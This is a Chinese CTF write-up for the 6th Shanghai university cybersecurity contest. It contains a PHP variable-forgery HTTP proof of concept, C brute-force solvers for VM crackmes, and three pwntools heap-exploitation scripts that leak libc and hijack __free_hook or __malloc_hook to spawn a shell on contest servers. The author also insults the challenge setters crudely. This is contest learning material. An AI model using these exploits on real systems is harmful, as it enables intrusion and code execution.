第六届上海市大学生网络安全大赛Write UP

前言:足足花费了一个小时看misc1,这题很弱智,提示不给,考点不明,甚至还玩谜语人,这就是nt题(确信,至少排名还不错顺便偷了个三血

差不多得了

比赛提交的wp地址(无嘴臭纯净享受):

WEB

其他web做不出来,我是废物,hello题目exp打过去直接500,我傻了

web1

简单题,直接访问www.zip进行源码泄露下载

简单审一下就知道要伪造力,构造poc如下

POST /index.php?_POST[code]=114514 HTTP/1.1
Host: eci-2zeikzil0vb2fjw2li0f.cloudeci1.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:82.0) Gecko/20100101 Firefox/82.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Origin: http://eci-2zeikzil0vb2fjw2li0f.cloudeci1.ichunqiu.com
Connection: close
Referer: http://eci-2zeikzil0vb2fjw2li0f.cloudeci1.ichunqiu.com/index.php
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1601103249; __jsluid_h=9de21f24099faf8476b805d68f4103ee;_POST[code]=233333
Upgrade-Insecure-Requests: 1

code=233333

随手sqlmap一把梭

MISC

可乐加冰纯傻逼,两道工控出的挺没意思的

pcap

根据协议,找到dnp3.0的response报文,length为91的则是flag字段,挨个拼接即可

拼接获得flag

flag{d989e2b92ea671f5d30efb8956eab1427625c}

pcap analysis

描述写的花里胡撒,结果直接看tcp流就出来了

直接追踪tcp流,找到flag类似的字段,逐次拼接,只取前两个字符

flag{323f986d429a689d3b96ad12dc5cbc701db0af55}

RE

帅宝,我的超人

真正的Babyre

  1. 虚拟机
  2. 流程甚至和输入有关
  3. 发现了下标的猫腻:0 0 1 1 2 2… 41 41 0 0 1 1… 41 41
  4. 逆向还原流程
  5. 程序对于每个字符的处理共两轮,0byte依赖1,1依赖2,。。。,40依赖41,41依赖0,所以从41开始爆破,第二轮的数字为
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>
uint32_t vmEip = 0;
uint32_t vmRegs = 0;
typedef uint8_t bool;
#define true 1
#define false 0
uint32_t a[] = {0x37d, 0xc0, 0x9,
                0x3c6, 0x40, 0x81,
                0x23d, 0x81, 0x2,
                0x1c6, 0xc1, 0x42,
                0x23d, 0x82, 0x7,
                0x2c6, 0x42, 0x83,
                0x1bd, 0x83, 0x8, 0x3c6, 0x83, 0x4, 0x2bd, 0x44, 0x6, 0x2c6, 0xc4, 0x45, 0x37d, 0x85, 0x9, 0x3c6, 0xc5, 0x6, 0x23d, 0x6, 0xb, 0x2c6, 0xc6, 0xc7, 0x1bd, 0x47, 0xa, 0x3c6, 0x87, 0x88, 0x23d, 0xc8, 0x4, 0x1c6, 0x8, 0x89, 0x33d, 0x89, 0xb, 0xc6, 0xc9, 0xa, 0x3bd, 0x8a, 0xc, 0x2c6, 0x4a, 0xb, 0x2bd, 0xcb, 0x4, 0x2c6, 0x8b, 0x4c, 0x33d, 0x4c, 0x7, 0x1c6, 0xcc, 0xcd, 0x1bd, 0x8d, 0x7, 0x1c6, 0x4d, 0x4e, 0x23d, 0x8e, 0xa, 0x3c6, 0x8e, 0x4f, 0x2fd, 0xcf, 0x4, 0x1c6, 0xcf, 0xd0, 0x2bd, 0x10, 0x3, 0x1c6, 0xd0, 0x91, 0x1fd, 0x11, 0x9, 0x1c6, 0x91, 0x92, 0x3fd, 0x52, 0x4, 0x3c6, 0x52, 0x53, 0x2fd, 0x93, 0x6, 0x3c6, 0x93, 0xd4, 0x33d, 0x54, 0x3, 0xc6, 0x94, 0x95, 0x3bd, 0xd5, 0xc, 0x1c6, 0x95, 0x56, 0x2fd, 0x16, 0xb, 0x1c6, 0xd6, 0xd7, 0x27d, 0x57, 0xd, 0xc6, 0xd7, 0x58, 0x37d, 0x98, 0x4, 0xc6, 0xd8, 0x59, 0x1bd, 0xd9, 0xa, 0x3c6, 0x99, 0xda, 0x13d, 0xda, 0x7, 0x2c6, 0x9a, 0x9b, 0x2bd, 0x9b, 0x7, 0x2c6, 0x9b, 0x5c, 0x2bd, 0x9c, 0x2, 0x3c6, 0xdc, 0x5d, 0x17d, 0x9d, 0x6, 0x1c6, 0x9d, 0x5e, 0x23d, 0xde, 0x6, 0x1c6, 0x9e, 0xdf, 0x27d, 0xdf, 0xc, 0x3c6, 0x5f, 0x60, 0x13d, 0x60, 0x9, 0x2c6, 0xa0, 0x61, 0x37d, 0x21, 0xe, 0x1c6, 0xa1, 0xe2, 0x2fd, 0xe2, 0x7, 0x1c6, 0x62, 0x23, 0x17d, 0x63, 0x8, 0x2c6, 0x63, 0xe4, 0x13d, 0xa4, 0xb, 0x2c6, 0xe4, 0xa5, 0xfd, 0x25, 0xd, 0x3c6, 0xe5, 0xe6, 0xfd, 0xa6, 0xe, 0x2c6, 0x26, 0x27, 0x3fd, 0xa7, 0xc, 0x3c6, 0x67, 0xa8, 0x3bd, 0x28, 0x4, 0x2c6, 0xa8, 0x69, 0x2bd, 0x69, 0x7, 0x3c6, 0x69, 0x80, 0x2bd, 0x80, 0xd, 0x1c6, 0x40, 0xc1, 0x1fd, 0x41, 0x8, 0x3c6, 0xc1, 0x42, 0x27d, 0x82, 0xc, 0x3c6, 0xc2, 0x43, 0x13d, 0x3, 0xa, 0x2c6, 0x83, 0x4, 0x3fd, 0x44, 0x3, 0x3c6, 0xc4, 0x85, 0x3bd, 0x5, 0x9, 0x2c6, 0xc5, 0x86, 0x3bd, 0x6, 0x5, 0x3c6, 0x86, 0x47, 0x3bd, 0x7, 0xc, 0x2c6, 0x87, 0x88, 0xfd, 0x88, 0xd, 0x1c6, 0x48, 0x89, 0x27d, 0x49, 0xb, 0x1c6, 0x9, 0xa, 0x13d, 0xca, 0xc, 0x2c6, 0x4a, 0xb, 0x1bd, 0x8b, 0x7, 0x3c6, 0x4b, 0xcc, 0x17d, 0xcc, 0x6, 0x1c6, 0x4c, 0xcd, 0x2bd, 0x4d, 0xa, 0xc6, 0xd, 0xe, 0x23d, 0xe, 0x8, 0x2c6, 0x4e, 0xf, 0xfd, 0x4f, 0x9, 0x2c6, 0x8f, 0x50, 0x3bd, 0xd0, 0xd, 0x3c6, 0x10, 0x91, 0xfd, 0x11, 0x8, 0x1c6, 0x51, 0x52, 0x1bd, 0x12, 0x5, 0x2c6, 0xd2, 0x93, 0x23d, 0x93, 0xa, 0xc6, 0x93, 0x54, 0x3bd, 0x54, 0x7, 0x1c6, 0x94, 0xd5, 0x1bd, 0x95, 0xd, 0x1c6, 0x15, 0xd6, 0x23d, 0x96, 0x4, 0x2c6, 0x56, 0x57, 0x2bd, 0xd7, 0xd, 0x1c6, 0xd7, 0x18, 0x13d, 0x98, 0x2, 0x1c6, 0xd8, 0x99, 0x27d, 0x59, 0xc, 0x1c6, 0x99, 0x9a, 0x33d, 0xda, 0xa, 0x2c6, 0x5a, 0x9b, 0x3bd, 0x5b, 0xc, 0xc6, 0x1b, 0x5c, 0x37d, 0x5c, 0x9, 0x1c6, 0xdc, 0x5d, 0x33d, 0xdd, 0x7, 0x1c6, 0x1d, 0x9e, 0x17d, 0xde, 0xe, 0x2c6, 0x9e, 0x5f, 0x1fd, 0x9f, 0x5, 0x1c6, 0xdf, 0xe0, 0x17d, 0xe0, 0xb, 0x2c6, 0xe0, 0x21, 0x3fd, 0xe1, 0x7, 0xc6, 0xa1, 0x62, 0x23d, 0xa2, 0xd, 0x3c6, 0x62, 0x63, 0x1fd, 0x63, 0x7, 0x1c6, 0xa3, 0xe4, 0x1fd, 0xe4, 0xd, 0x2c6, 0x24, 0x25, 0x23d, 0x125, 0xb, 0x3c6, 0xa5, 0xe6, 0x17d, 0xe6, 0x5, 0x2c6, 0xa6, 0xa7, 0x3bd, 0xa7, 0xe, 0x1c6, 0x27, 0x68, 0x13d, 0x68, 0x6, 0xc6, 0x28, 0xe9, 
                0x27d, 0xe9, 0xa,
                0x3c6, 0xe9, 0x40,
                0x3e7, 0x38, 0x4e};

uint8_t cmpData[] = {0x1f, 0x18, 0xf, 0xfa, 0xb8, 0x63, 0x64, 0x89, 0x18, 0x68, 0x7c, 0x19, 0x14, 0x2d, 0x7d, 0x58, 0x0, 0x1e, 0x54, 0x6a, 0x41, 0x3c, 0x36, 0x3e, 0x56, 0x13, 0x4, 0x3b, 0x2e, 0x4b, 0x79, 0x43, 0x7a, 0x22, 0x45, 0x6e, 0x3a, 0x75, 0x26, 0xc8, 0xc0, 0x8e};

uint32_t sub120d(uint32_t a2, uint32_t v20, uint32_t vm_regs, uint32_t *vm_eip)
{
    if (v20 == 999)
    {
        return 9;
    }
    else if (*vm_eip != 6 || (vm_regs & 0xFF000000))
    {
        if (*vm_eip == 6 && (vm_regs & 0xFF000000))
        {
            *vm_eip = 2;
            return *vm_eip;
        }
        else
        {
            while (1)
            {
                uint32_t t = (v20 >> *vm_eip) & 1;
                if (t)
                    break;
                ++*vm_eip;
            }
            return *vm_eip;
        }
    }
    else
    {
        *vm_eip = 0;
        return 7;
    }
}
void vm(char *buf,uint32_t start)
{
    uint32_t v22 = start;
    uint8_t vm_regs[4];
    bool flag = true;
    uint32_t v20=a[v22];
    vmEip=0;
    vm_regs[0]=(uint8_t)a[v22+1];
    vm_regs[1]=(uint8_t)a[v22+2];
    vm_regs[2]=(uint8_t)a[v22+1];
    vm_regs[3]=1;
    uint32_t res = 0;
    uint32_t tmp = 0;
    uint8_t printFlag = -1;
    for (size_t i = 0; i < 99999 && flag; i++)
    {
        res = sub120d(v20, v20, *(uint32_t *)vm_regs, &vmEip);
        vm_regs[2]%=64;
        if (vm_regs[2] == printFlag)
            printf("%02X:%d: ",v22, res);
        switch (res)
        {
        case 0:
            if (vm_regs[2] == printFlag)
                printf("reg[0]=buf[%d]\n", vm_regs[0] % 64);
            vm_regs[0] = buf[vm_regs[0] % 64];
            break;
        case 1:
            if (vm_regs[2] == printFlag)
                printf("reg[0]=buf[%d];reg[1]=buf[%d]\n", vm_regs[0] % 64, vm_regs[1] % 64);
            vm_regs[0] = buf[vm_regs[0] % 64];
            vm_regs[1] = buf[vm_regs[1] % 64];
            break;
        case 2:
            tmp = vm_regs[0] ^ vm_regs[1];
            if (vm_regs[2] == printFlag)
                printf("tmp=reg[1]^reg[0](reg[1]=0x%x)\n",vm_regs[1]);
            break;
        case 3:
            vm_regs[1] &= vm_regs[0];
            if (vm_regs[2] == printFlag)
                printf("reg[1]&=reg[0]\n");
            break;
        case 4:
            vm_regs[1] *= 2;
            vm_regs[3] = vm_regs[1];
            if (vm_regs[2] == printFlag)
                printf("reg[1]*=2;reg[3]=reg[1]\n");
            break;
        case 5:
        case 6:
            vm_regs[0] = tmp;
            buf[vm_regs[2] % 64] = tmp;
            if (vm_regs[2] == printFlag)
                printf("reg[0]=tmp;buf[%d]=tmp\n", vm_regs[2] % 64);
            break;
        case 7:
            v22 += 3;
            v20 = a[v22];
            vm_regs[0] = (uint8_t)a[v22 + 1];
            vm_regs[2] = vm_regs[0];
            vm_regs[1] = (uint8_t)a[v22 + 2];
            vm_regs[3] = 1;
            if (vm_regs[2] == printFlag)
                printf("\n");
            vmEip = -1;
            break;
        case 9:
        if (vm_regs[2] == printFlag)
            printf("exit\n");
            flag = false;
        }
        ++vmEip;
        // printf("%d\n",buf[41]);
    }
}
void printArray(const char *name, uint8_t *v, size_t len)
{
    printf("========%s=========\n", name);
    for (size_t i = 0; i < len; i++)
    {
        printf("0x%02X,", v[i]);
    }
    printf("\n=================\n");
}
int main()
{
    char s[256] = {0};
    char ts[256]={0};
    for(size_t j=41;j>0;j--){
        ts[0]=cmpData[0];
        for(size_t i=0;i<0xFf;i++){
            memcpy(s,ts,42);
            s[j]=(char)i;
            // uint8_t t = s[41];
            vm(s,j*3*2+0xfc);
            // printf("0x%x 0x%x\n",s[41],t);
            if((uint8_t)s[j]==cmpData[j]){
                printf("0x%02x\n",i);
                ts[j]=i;
                break;
            }
        }
    }
    for(size_t i=0;i<0xFf;i++){
            memcpy(s,ts,42);
            s[0]=(char)i;
            // uint8_t t = s[41];
            vm(s,0xfc);
            // printf("0x%x 0x%x\n",s[41],t);
            if((uint8_t)s[0]==cmpData[0]){
                printf("0x%02x\n",i);
                ts[0]=(char)i;
                break;
        }
    }
    printArray("flag", ts, 42);

    for(size_t j=41;j>0;j--){
        for(size_t i=0x20;i<0x7f;i++){
            memcpy(s,ts,42);
            s[j]=(char)i;
            // uint8_t t = s[41];
            vm(s,j*3*2);
            // printf("0x%x 0x%x\n",s[41],t);
            if((uint8_t)s[j]==cmpData[j]){
                printf("0x%02x\n",i);
                ts[j]=i;
                break;
            }
        }
    }
    for(size_t i=0x20;i<0x7f;i++){
            memcpy(s,ts,42);
            s[0]=(char)i;
            // uint8_t t = s[41];
            vm(s,0);
            // printf("0x%x 0x%x\n",s[41],t);
            if((uint8_t)s[0]==cmpData[0]){
                printf("0x%02x\n",i);
                ts[0]=i;
                break;
        }
    }
    printArray("flag", ts, 42);
    printf("%s\n",ts);
    return 0;
}

flag{e1750505-7a05-4de9-a333-72ec8cd26a78}

ctfvm

  1. 直接打开,然后libc_start_main一系列的东西
  2. 进入IDA识别出的main函数,然后直接进入几个简短的函数,来到一个大的函数sub_BE60,有很多switch-case,推测这是个虚拟机,进而分析出指令寄存器,eip,esp,regs等 这里要注意传递给大函数的参数,一个是虚拟机的指令界限0x25,一个是虚拟机的指令序列unk_90C40,但是超出指令界限会输出错误,但是会继续执行
  3. 分析每一个操作码对应的操作,并写出反汇编器
  4. 利用IDA脚本打印出指令序列并反汇编
  5. 反汇编的主逻辑不是很清晰,但是大概可以理解,即首先判断用户输入被flag{}包裹,然后判断大括号里面的内容,总长度为38;另外分析指令集的过程中可以看出,打印是一个字符一个字符打的
  6. flag括号内的内容判断逻辑为:第i位*251=内存中的一个数,内存中的内容可以通过gdb调试得到。由于最后and 了0xFF截断,所以可以按字节穷举
  7. 反汇编和解题脚本如下
#include <inttypes.h>
#include <stdio.h>
#include <stdlib.h>
#include <memory.h>
#include <string.h>
#include <math.h>
#include <setjmp.h>

void printArray(const char *name, uint8_t *v, size_t len)
{
    printf("========%s=========\n", name);
    for (size_t i = 0; i < len; i++)
    {
        printf("0x%02X,", v[i]);
    }
    printf("\n=================\n");
}
void vm(uint64_t *a,size_t len){
    size_t eip=0;
    uint64_t eflags=0;
    // 共16个寄存器
    while(eip<len){
        uint64_t instr = a[eip+2],op1=a[eip],op2=a[eip+1];
        printf("%02x:%02x: ",eip,instr);
        switch((instr-128)&0xFF){
            case 216:
            printf("xor reg[%d],reg[%d]\n",op1,op2);
            break;
            case 184:
            printf("mov reg[%d],%d\n",op1,op2);
            break;
            case 79:
            printf("output\n");
            break;
            case 13:
            printf("input\n");
            break;
            case 31:
            printf("push reg[%d]\n",op1);
            break;
            case 42:
            printf("add reg[%d],%d\n",op1,op2);
            break;
            case 141:
            printf("eflags=reg[%d]<%d\n",op1,op2);
            // eflags=reg[op1]==op2;
            break;
            case 67:
            printf("jnz 0x%x\n",op1);
            break;
            case 181:
            printf("not recognized\n");
            break;
            case 10:
            printf("pop reg[%d]\n",op1);
            break;
            case 148:
            printf("jz 0x%x\n",op1);
            break;
            case 229:
            printf("not recognized\n");
            break;
            case 0:
            printf("mov [reg[%d]],reg[%d]\n",op1,op2);
            break;
            case 122:
            printf("sub reg[%d],%d\n",op1,op2);
            break;
            case 24:
            printf("and reg[%d],reg[%d]\n",op1,op2);
            break;
            case 0x35:
            printf("exit");
            break;
            case 35:
            printf("and reg[%d],%d\n",op1,op2);
            break;
            case 38:
            printf("mov [reg[%d]],%d\n",op1,op2);
            break;
            case 39:
            printf("shl reg[%d],%d\n",op1,op2);
            break;
            case 43:
            printf("sub reg[%d],reg[%d]\n",op1,op2);
            break;
            case 57:
            printf("shl reg[%d],reg[%d]\n",op1,op2);
            break;
            case 78:
            printf("mul reg[%d],reg[%d]\n",op1,op2);
            break;
            case 91:
            printf("shr reg[%d],reg[%d]\n",op1,op2);
            break;
            case 102:
            printf("mov reg[%d],[reg[%d]]\n",op1,op2);
            break;
            case 115:
            printf("or reg[%d],reg[%d]\n",op1,op2);
            break;
            case 171:
            printf("jz 0x%x\n",op1);
            break;
            case 179:
            printf("shr reg[%d],%d\n",op1,op2);
            break;
            case 189:
            printf("mov reg[%d],reg[%d]\n",op1,op2);
            break;
            case 196:
            printf("mul reg[%d],%d\n",op1,op2);
            break;
            case 200:
            printf("add reg[%d],reg[%d]\n",op1,op2);
            break;
            case 235:
            printf("xor reg[%d],%d\n",op1,op2);
            break;
            case 133:
            printf("jmp 0x%x\n",op1);
            break;
            case 37:
            printf("eflags=reg[%d]<reg[%d]\n",op1,op2);
            break;

        }
        eip+=3;
    }
}
int main()
{
    // 反汇编脚本
    uint64_t s[1024] = {0x0, 0x0, 0x58, 0x1, 0x1, 0x58, 0x2, 0x2, 0x58, 0x3, 0x3, 0x58, 0x6, 0x6, 0x58, 0x7, 0x7, 0x58, 0x0, 0x69, 0x38, 0x1, 0x6e, 0x38, 0x2, 0x70, 0x38, 0x3, 0x75, 0x38, 0x6, 0x74, 0x38, 0x7, 0x20, 0x38, 0x0, 0x0, 0xcf, 0x1, 0x0, 0xcf, 0x2, 0x0, 0xcf, 0x3, 0x0, 0xcf, 0x6, 0x0, 0xcf, 0x7, 0x0, 0xcf, 0x0, 0x66, 0x38, 0x1, 0x6c, 0x38, 0x2, 0x61, 0x38, 0x3, 0x67, 0x38, 0x6, 0x3a, 0x38, 0x7, 0x20, 0x38, 0x0, 0x0, 0xcf, 0x1, 0x0, 0xcf, 0x2, 0x0, 0xcf, 0x3, 0x0, 0xcf, 0x6, 0x0, 0xcf, 0x7, 0x0, 0xcf, 0x1, 0x1, 0x58, 0x0, 0x0, 0x8d, 0x0, 0x0, 0x9f, 0x1, 0x1, 0xaa, 0x1, 0x26, 0xd, 0x1f, 0x0, 0xc3, 0x0, 0x0, 0x35, 0x0, 0x0, 0x8a, 0x0, 0x7d, 0xd, 0x12, 0x0, 0x14, 0x0, 0x62, 0x38, 0x1, 0x79, 0x38, 0x2, 0x65, 0x38, 0x3, 0x7e, 0x38, 0x6, 0x7e, 0x38, 0x7, 0x7e, 0x38, 0x0, 0x0, 0xcf, 0x1, 0x0, 0xcf, 0x2, 0x0, 0xcf, 0x3, 0x0, 0xcf, 0x6, 0x0, 0xcf, 0x7, 0x0, 0xcf, 0x0, 0xa, 0x38, 0x0, 0x0, 0xcf, 0x0, 0x0, 0x35, 0x8, 0x100, 0x38, 0x8, 0xe1, 0xd, 0x19, 0x0, 0xc3, 0x0, 0x0, 0x8a, 0x8, 0x0, 0x80, 0x8, 0x1, 0xfa, 0x13, 0x0, 0x5, 0x0, 0x0, 0x8a, 0x0, 0x7b, 0xd, 0x3, 0x0, 0x2b, 0x0, 0x0, 0x8a, 0x0, 0x67, 0xd, 0x3, 0x0, 0x2b, 0x0, 0x0, 0x8a, 0x0, 0x61, 0xd, 0x3, 0x0, 0x2b, 0x0, 0x0, 0x8a, 0x0, 0x6c, 0xd, 0x3, 0x0, 0x2b, 0x0, 0x0, 0x8a, 0x0, 0x66, 0xd, 0x3, 0x0, 0x2b, 0x9, 0x9, 0x58, 0xa, 0xe1, 0x38, 0x7, 0x9, 0xe6, 0x6, 0xa, 0xe6, 0x6, 0xfb, 0x44, 0x6, 0xff, 0xa3, 0x6, 0x7, 0xa5, 0x3, 0x0, 0x2b, 0x9, 0x1, 0xaa, 0xa, 0x1, 0xaa, 0x9, 0x20, 0xd, 0x2a, 0x0, 0xc3, 0x0, 0x63, 0x38, 0x1, 0x6f, 0x38, 0x2, 0x72, 0x38, 0x3, 0x72, 0x38, 0x6, 0x65, 0x38, 0x7, 0x63, 0x38, 0x0, 0x0, 0xcf, 0x1, 0x0, 0xcf, 0x2, 0x0, 0xcf, 0x3, 0x0, 0xcf, 0x6, 0x0, 0xcf};
    vm(s,sizeof(s)/8);
    // 解题脚本
    uint8_t cmpData[] = {0xed,0x06,0x11,0x0b,0xfc,0xe3,0xe8,0x06,0xed,0x0b,0xf7,0xf7,0x16,0x06,0xed,0x1b,0x0c,0xfc,0xe8,0x0c,0xf2,0x16,0xf7,0x02,0xf2,0x11,0xe3,0xe3,0x02,0x0c,0xf7,0xfc};
    char flag[256]={0};
    for(size_t i=0;i<32;i++){
        for(size_t j=0x20;j<0x7f;j++){
            if(((j*251)&0xFF)==cmpData[i]){
                flag[i]=j;
                printf("%d\n",j);
                break;
            }
        }
        
    }
    printf("%s\n",flag);
    return 0;
}

PWN

柠檬yyds

lgtwo

1.通过off by one可以构造overlap chunk,其中可以通过先free(0x70),再在相同位置free(0x90)的chunk拿到main_arena指针

2.攻击stdout的flag,泄漏libc基址

3.unlink,攻击freehook,改为system即可

from pwn import *

def add(size,data):
	p.recvuntil('>>')
	p.sendline('1')
	p.recvuntil('size?')
	p.sendline(str(size))
	p.recvuntil('content?')
	p.send(data)

def edit(index,data):
	p.recvuntil('>>')
	p.sendline('4')
	p.sendlineafter('index ?',str(index))
	p.sendafter('what is your new content ?',data)

def free(index):
	p.recvuntil('>>')
	p.sendline('2')
	p.recvuntil('index ?')
	p.sendline(str(index))

while True:
	try:
		# p = process('./pwn')
		p = remote("123.56.52.128","45830")

		add(0x18,'aaaa')
		add(0x18,'bbbb')
		add(0x60,'cccc')
		add(0x50,'dddd')	
		add(0x10,'eeee')	
		edit(0,0x10 * 'a' + p64(0) + '\xf1')

		free(1)
		free(2)
		add(0x18,'ffff')
		add(0xc0,'dddd')
		edit(1,0x18 * 'a' + '\x71')
		edit(0,0x18 * 'a' + '\xf1')
		free(1)
		# io 
		add(0xe0,'a')	
		payload = p64(0)*3 + p64(0x71) + '\xdd\x65'
		edit(1,payload)
		add(0x60,'a')
		
		add(0x60,'aaaa')
		payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800)+p64(0)*3 + '\x00'
		edit(6,payload)
		
		stder = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
		libc = ELF('./libc-2.23.so')
		libc_base = stder - libc.sym['_IO_2_1_stderr_']
		freehook= libc_base+libc.sym['__free_hook']
		system_addr =libc_base + libc.sym['system']
		log.success(hex(libc_base))

		add(0x38,'a')	
		add(0x80,'b')
		add(0x10,'c')
		edit(9,'/bin/sh\x00')
		
		# unlink
		payload = p64(0) + p64(0x31) + p64(0x6020f8 - 0x18) + p64(0x6020f8 - 0x10) + 0x10 * 'a' + p64(0x30) +'\x90'
		edit(7,payload)
		free(8)

		edit(7,'a' * 24 + p64(freehook))
		edit(7,p64(system_addr))
		# gdb.attach(p)
		free(9)
		p.interactive()
		break

	except Exception as e:
		print(e)
		p.close()
		continue

maj0rone

1.利用uaf布局堆结构,改0x70堆块的fd为IO附近的fake chunk,其中也可以通过先free(0x70),再在相同位置free(0x90)的chunk拿到main_arena指针

2.改IO_2_1_stdout的flag,泄漏libc地址

3.利用uaf攻击__malloc_hook,改为gadget

from pwn import *

pwn = ELF('./pwn')
libc = ELF('./libc-2.23.so')

def add(size,data = '\n'):
	p.sendlineafter('>> ','1')
	p.sendlineafter('please answer the question','80')
	p.sendlineafter('______?',str(size))
	p.sendafter('start_the_game,yes_or_no?',data)

def edit(index,data):
	p.sendlineafter('>> ','4')
	p.sendlineafter('index ?',str(index))
	p.sendafter('__new_content ?',data)

def free(index):
	p.sendlineafter('>> ','2')
	p.sendlineafter('index ?',str(index))


while True:
	try:

		p = remote("123.56.52.128",18523)
		add(0x60)
		add(0x60)
		add(0x18)
		add(0x18)
		free(1)
		free(0)
		free(1)
		edit(1,'\x40')
		payload = p64(0) * 6 
		payload += p64(0) + p64(0x71)
		edit(0,payload)
		add(0x60)
		add(0x60)
		
		free(1)
		payload = '\x00'*40 + p64(0x91)
		edit(5,payload)
		free(1)

		payload = p64(0) * 5 + p64(0x71) + '\xdd\x65'	# IOout
		edit(5,payload)
		
		payload = 3 * 'a' + p64(0) * 6 + p64(0xfbad1800) + p64(0) * 3 + '\x00'
		add(0x60)
		add(0x60)
		edit(7,payload)
		stderr = u64(p.recvuntil('\x7f')[-6:].ljust(8,'\x00')) - 192
		libc_base = stderr - libc.sym['_IO_2_1_stderr_']
		malloc_hook = libc_base + libc.sym['__malloc_hook']
		add(0x60,'attack __malloc_hook')
		free(8)
		edit(8,p64(malloc_hook - 0x23))
		one_gadget = libc_base + 0xf1207

		payload = 0x13 * 'a' + p64(one_gadget)
		add(0x60,'a')
		add(0x60,'a')
		edit(10,payload)
		# add(0x10,'getshell')
		p.interactive()

		break

	except Exception as e:
		print(e)
		p.close()
		continue

EASY_ABNORMAL

1.格式化字符串泄漏__libc_start_main

2.通过uaf,利用fastbin的fd指针泄漏堆地址

3.在堆上写入gadget,栈溢出使栈移到堆ret gadget从而getshell

from pwn import *

binary = "./pwn"
libc = ELF('./libc-2.23.so')
p = remote("123.56.52.128","10012")

def name(payload):
	p.sendafter('NAME: ',payload)

def add(data):
	p.sendlineafter('CHOICE :','2')
	p.sendafter('cnt:',data)

def free(index):
	p.sendlineafter('CHOICE :','3')
	p.sendlineafter('idx:',str(index))

def show_note():
	p.sendlineafter('CHOICE :','4')

def format():
	p.sendlineafter('CHOICE :','1')

def gift(payload):
	p.sendlineafter('CHOICE :','23333')
	p.sendafter("INPUT:",payload)

name("%11$p\n")
format()
p.recvuntil('0x')
main = int(p.recv(12),16) - 240
libc_base = main - libc.sym['__libc_start_main']

one_gadget = libc_base + 0x4527a
payload = p64(0) * 4 + p64(one_gadget)
add(payload + '\n')
add(payload + '\n')
free(0)
free(1)
show_note()

p.recvuntil('idx 2:')
heap_addr = u64(p.recv(6).ljust(8,'\x00'))
payload1 = '\x00' * 32 + p64(heap_addr + 0x28)
gift(payload1)

p.interactive()
© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 共1条
    • 魔法少女雪殇
    • sqcsl0
      雪殇师傅yyds
      5月前